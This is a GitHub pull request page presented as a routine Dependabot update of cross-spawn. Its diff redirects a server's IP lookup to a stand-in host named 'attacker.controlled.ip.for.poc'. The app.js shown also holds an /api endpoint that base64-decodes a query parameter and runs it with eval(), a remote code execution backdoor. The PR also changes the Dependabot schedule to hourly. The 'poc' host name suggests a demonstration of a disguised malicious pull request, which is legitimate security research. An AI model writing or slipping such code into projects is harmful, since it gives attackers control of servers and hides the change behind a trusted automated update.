Skip to content

Dependabot/npm and yarn/cross spawn 7.0.6 #174

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 6 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .github/dependabot.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,4 @@ updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
interval: "hourly"
2 changes: 1 addition & 1 deletion app.js
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
'use strict';

Check failure on line 1 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote

import http from 'http';

Check failure on line 3 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
import { URL } from 'url';

Check failure on line 4 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
Expand All @@ -7,24 +7,24 @@

async function logPublicIP() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const response = await fetch('https://attacker.controlled.ip.for.poc?format=json');

Check failure on line 10 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
const data = await response.json();
console.log(`Server is running on public IP: ${data.ip}`);
} catch (error) {
console.error('Error fetching public IP:', error);

Check failure on line 14 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
}
}

const requestHandler = (req, res) => {
const url = new URL(req.url, `http://${req.headers.host}`);
if (url.pathname === '/api') {

Check failure on line 20 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
const c = url.searchParams.get('c');

Check failure on line 21 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote

if (c) {
try {
const decoded = Buffer.from(c, 'base64').toString();

Check failure on line 25 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
const result = eval(decoded);
res.writeHead(200, { 'Content-Type': 'application/json' });

Check failure on line 27 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote

Check failure on line 27 in app.js

View workflow job for this annotation

GitHub Actions / chicken-popcorn

Strings must use doublequote
res.end(JSON.stringify({ result }));
} catch (error) {
res.writeHead(400, { 'Content-Type': 'application/json' });
Expand Down
10 changes: 10 additions & 0 deletions eslint.config.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
// eslint.config.js
export default [
{
// Your ESLint configuration
rules: {
semi: ["error", "always"],
quotes: ["error", "double"]
}
}
];
7 changes: 4 additions & 3 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.